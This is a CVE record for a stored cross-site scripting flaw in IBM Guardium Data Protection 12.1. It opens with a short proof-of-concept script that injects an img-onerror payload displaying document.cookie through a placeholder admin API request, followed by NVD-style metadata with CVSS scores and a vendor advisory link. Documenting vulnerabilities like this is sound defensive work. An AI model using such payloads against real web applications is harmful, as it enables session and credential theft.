CVE-2026-4918

<!-- Proof of Concept (PoC) for CVE-2026-4918 Description: Simulates an administrator injecting a stored XSS payload. --> <script> // Malicious payload to be injected into a vulnerable field (e.g., description, name) var xss_payload = '<img src=x onerror=alert(\'CVE-2026-4918: XSS Executed - Cookie: \' + document.cookie)>'; // Simulated API request to inject the payload // Note: This requires a valid administrative session cookie fetch('/api/vulnerable_endpoint', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <ADMIN_TOKEN>' }, body: JSON.stringify({ 'field_name': xss_payload, 'id': 'target_id' }) }).then(response => { if(response.ok) { console.log('[+] Payload injected successfully.'); } else { console.log('[-] Injection failed.'); } }); </script>

{"cve": {"id": "CVE-2026-4918", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:46.443", "lastModified": "2026-04-27T18:13:02.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Guardium Data Protection 12.1 is vulnerable to stored cross-site scripting. This vulnerability allows an administrative user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:guardium_data_protection:12.1:*:*:*:*:*:*:*", "matchCriteriaId": "EADF2641-F8DF-4986-8106-287C615DE19D"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7270422", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}